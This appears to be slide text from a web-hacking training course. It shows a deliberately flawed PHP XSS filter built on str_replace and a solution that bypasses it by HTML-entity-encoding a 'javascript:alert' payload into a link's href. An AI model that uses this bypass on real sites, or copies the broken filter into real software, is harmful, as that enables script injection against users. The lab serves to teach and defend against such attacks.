XSS Attacks

Bypass XSS Filter

Bypass the XSS Filter

- Modify the code and change *$username* value to bypass the XSS filters and alert XSS
- Here is the XSS filter:

```php
<?php
$username = "&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;";
$username = str_replace("<", "&lt;", $username);
$username = str_replace('"', "&quot;", $username);
$username = str_replace("'", "&#39;", $username);
$username = str_replace("javascript", "&#39;", $username);
?>
<a href="<?php echo $username ?>">Show profile</a>

```

View Code

ZDResearch

Bypass the XSS Filter - Solution

- Add *$username* with html entity encoded value of this payload:
  - *javascript:alert('XSS')*
- Which is
  - *javascript:alert(*
  - *'XSS')*
- One might think HTML entities usage will result in XSS prevention but HTML entities can also be dangerous if used in the wrong place

ZDResearch

ZDResearch Advanced Web Hacking

ZDResearch

www.zdresearch.com